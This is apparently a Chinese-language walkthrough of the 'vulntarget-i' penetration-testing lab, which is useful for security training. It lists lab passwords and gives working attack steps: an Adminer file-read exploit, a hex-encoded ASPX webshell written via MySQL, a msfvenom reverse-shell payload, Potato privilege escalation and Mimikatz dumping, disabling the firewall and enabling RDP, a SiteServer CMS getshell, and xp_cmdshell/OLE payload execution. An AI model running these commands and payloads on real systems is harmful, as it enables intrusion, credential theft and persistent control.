vulntarget-i
机器密码:
2008-1:
administrator/QwE123asd;vulntarget/123.com
后台:admin/admin8888;数据库:root/8B..123admin
2008-2:
administrator/zxcvbnm;xiaoming/Vme50..
后台管理:admin/8B..123admin (v7);administrator/8B..123admin (v6)
2012:
xiaopao/CrazyThursday;administrator/asdfghjkl
数据库:管理员 sa/QwE123asd;普通权限xiaopao/123.com
拓扑图:
信息收集
扫描存活主机和端口,发现开放了80、135、139、445、3306、5985、8000、47001等端口
访问web显示是IIS7,没有什么有用信息
访问8000端口显示是米拓信息,搜索可知是个企业建站系统
扫目录发现存在adminer4.4.0,搜索漏洞可以发现有个任意文件读取漏洞
漏洞利用
字典脚本如下:
1 | # -*- coding: utf-8 -*- |
运行脚本,直接输入想要读取的文件绝对路径adminer.php,然后adminer页面输入攻击机kali的IP,用户名密码数据库可以随便输一个,点击登录

这里可以看到我们读取成功的文件会被记录到log文件夹中

读取mysql的配置文件,根据报错信息发现是phpstudy

然后我们可以探测一下phpstudy的默认路径/phpstudy_pro/www发现并不是默认的路径,下载源码进行分析发现是在config下的,但是需要绝对路径,再到IIS的看看发现有安全狗

IIS有两个默认的读取绝对路径的方法
1
2 C:\Windows\System32\inetsrv\MetaBase.xml
C:\Windows\System32\inetsrv\config\applicationHost.config
这里读取的时候会发现上面的脚本不太行了,读取到的文件不完整,又换了个还是不完整


只能修改代码读取完整的大文件,用while循环读取文件,修改如下:
1 | # -*- coding: utf-8 -*- |
可以得到IIS的网站的绝对路径以及安全狗的绝对路径
1 | C:\vulnIIS\俱乐部 |


后来探测中发现不用跟绝对路径也是能成功读取的,于是使用相对路径读取config_db.php配置文件,从而得到数据库账号密码:root/8B..123admin

成功登录数据库

进入后尝试通过日志getshell,首先查看secure_file_priv参数,发现为空有可读可写的权限
1 | # 查看secure_file_priv参数信息是否为空 |

查看配置信息发现general log是关了的,需要开启general log模式
1 | show variables like '%general%'; |


然后尝试能否写入,发现可以执行成功但是访问却报404
1 | select 'test' into dumpfile 'C:\\vulnIIS\\俱乐部\\test.txt' |


接着再执行一次命令显示文件已经存在,再回头看这里我们的路径存在中文,因此可以猜测这是编码问题所导致的

先来查看一下mysql的默认表,可能编码的不同导致这个中文跟符号融合了输出在vulnIIS目录下
1 | show variables like 'character%' |

1 | # 指定数据库字符集还是失败 |
这里使用插件FH-Charset将网页编码设置成GBK,可以发现成功写入


接着我们通过创建表的方式写入来绕安全狗,先将冰蝎的aspx马转hex
1 | 3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b202f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e0a |
然后再去创建一个表
1 | create table test(test1 blob); # blob被视为二进制字符串 |

写入内容
1 | insert into test values (convert(0x3c25402050616765204c616e67756167653d2243232220253e3c2540496d706f7274204e616d6573706163653d2253797374656d2e5265666c656374696f6e22253e3c2553657373696f6e2e41646428226b222c226534356533323966656235643932356222293b202f2ae8afa5e5af86e992a5e4b8bae8bf9ee68ea5e5af86e7a0813332e4bd8d6d6435e580bce79a84e5898d3136e4bd8defbc8ce9bb98e8aea4e8bf9ee68ea5e5af86e7a08172656265796f6e642a2f627974655b5d206b203d20456e636f64696e672e44656661756c742e47657442797465732853657373696f6e5b305d202b202222292c63203d20526571756573742e42696e6172795265616428526571756573742e436f6e74656e744c656e677468293b417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632c20302c20632e4c656e67746829292e437265617465496e7374616e636528225522292e457175616c732874686973293b253e0a,char)); |

成功写入

将其导入IIS网站目录下(这里还是得使用插件将其转为GBK
1 | select test1 from test into dumpfile 'C:\\vulnIIS\\俱乐部\\1.aspx'; |

最后冰蝎成功连接

信息收集一波,是个低权限的,还有个192.168.30.131的网卡,打了四个补丁


土豆提权

尝试烂土豆提权失败,换端口也是失败告终


尝试多汁土豆提权失败

尝试PipePotato失败

后面使用msf再尝试一下烂土豆提权
msf生成木马再通过冰蝎上传
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > msf.exe |
msf成功上线
1 | use exploit/multi/handler |
列出tokens,当前shell用户只是一个普通的用户,权限低,也就意味着shell的访问级别低,所以令牌只有当前用户本身
1 | use incognito |

上传烂土豆并执行,可以看到已经有的system的令牌,然后模拟该令牌,成功提权
1 | execute -cH -f potato.exe |

提权后使用猕猴桃抓一下密码

需要先将进程迁移到x64位上去

再执行一下即可获取到密码:Administrator/QwE123asd

msf这边shell用的不方便,我们还可以通过cs插件进行烂土豆提权也能成功,这里就直接通过提权后的msf运行cs马上线

首先关闭防火墙
1 | netsh advfirewall set allprofiles state off |

然后使用下面的命令打开3389端口
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f |

成功登录远程桌面

在普通用户vulntarget中的桌面文件发现搜狗浏览器,打开看看是否有什么保存的密码

但是去设置中查看并没有

然后尝试通过登录普通用户查找,根据前面hashdump的解密得到vulntarget用户的密码:123.com

成功得到管理后台的账号密码administrator/8B..123admin

内网渗透
上传frp建立代理
1 | ./frps -c ./frps.ini |

1 | frpc.exe -c ./frpc.ini & |

再上传fscan扫一下内网,发现主机192.168.30.130开放了80、135、445、8000端口

访问8000端口是空白的,只显示出一个logo

根据前面搜狗中访问保存的后台可以知道路径是/SiteServer/pageLogin.cshtml

然后尝试登录后台发现报错

搜了下报错是数据库配置问题,但是靶机连数据库文件一直出问题,后面修复初始环境的快照结果就解决了,但是没过多久又不行了,没有连接到mssql服务器,于是直接把IP改成10.0.10的

接着搜索SiteServer CMS 6.15.51漏洞发现可能存在sql注入漏洞**CVE-2021-42656**,不过没复现成功
后面看wp说是可以利用模板下载漏洞getshell(前面有看到但是介绍里是说对5.0版本包含5.0以下通杀就没尝试
首先写一个aspx马,再对其进行压缩,并上传至IIS的网站的目录下
1 | <%@ Page Language="Jscript" Debug=true%> |
然后去**菜鸟教程**上在线编译C#程序,得到字符串:ZjYIub/YxA2nuEGSiGmc+ZyLUMtltzqK7OLPFo1MTHw=
1 | using System; |

我们对此字符串再进行一次混淆
1 | "+" => "0add0" |
访问如下url(downloadUrl后添加混淆后的字符串,directoryName后修改为压缩文件的名称
1 | http://192.168.30.130:8000/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nuEGSiGmc0add0ZyLUMtltzqK7OLPFo1MTHw0equals0&directoryName=1 |
然后拿蚁剑或者菜刀去连接即可
1 | http://192.168.30.130:8000/SiteFiles/SiteTemplates/1/1.aspx 密码:abc |
但是这里我没有实现,跟着wp中的另一种方法再进行复现一下
getshell
首先在设置管理-上传设置处添加上传图片类型aspx并修改上传文件夹为SiteFiles/SiteTemplates

然后在显示管理-内容管理处上传图片会显示重命名后的文件路径

这回就上传成功了,通过蚁剑成功连接(这里回显的上传文件名是t_xxx,所以需要把t_去掉

连上后进行信息收集,发现和之前的一样是个低权限的,还有个10.0.10.100的网卡,打了四个补丁,并且还不出网

于是利用第一台主机做跳板机转发上线,点击Plvoting-Listener进行设置监听

制作exe木马,上传靶机执行上线,然后就还是和前面一样使用烂土豆提权

接着我们读取cms数据库配置文件得到数据库账号密码:xiaopao/123.com

查看IP发现不在本地上存在双网站库分离环境,设置代理连接数据库,解密得到账号密码sa/QwE123asd

文件落地
启用OLE组件
1 | exec master.dbo.sp_configure 'show advanced options', 1 |
把cs生成的马转hex
1 | import binascii |
再把hex放在OLE组件内并创建命令执行存储过程
1 | DECLARE @DATAVARBINARY(MAX)= 0x-hex # 填入自己转的hex |
成功上线CS
1 | exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Downloads\\n.exe" |





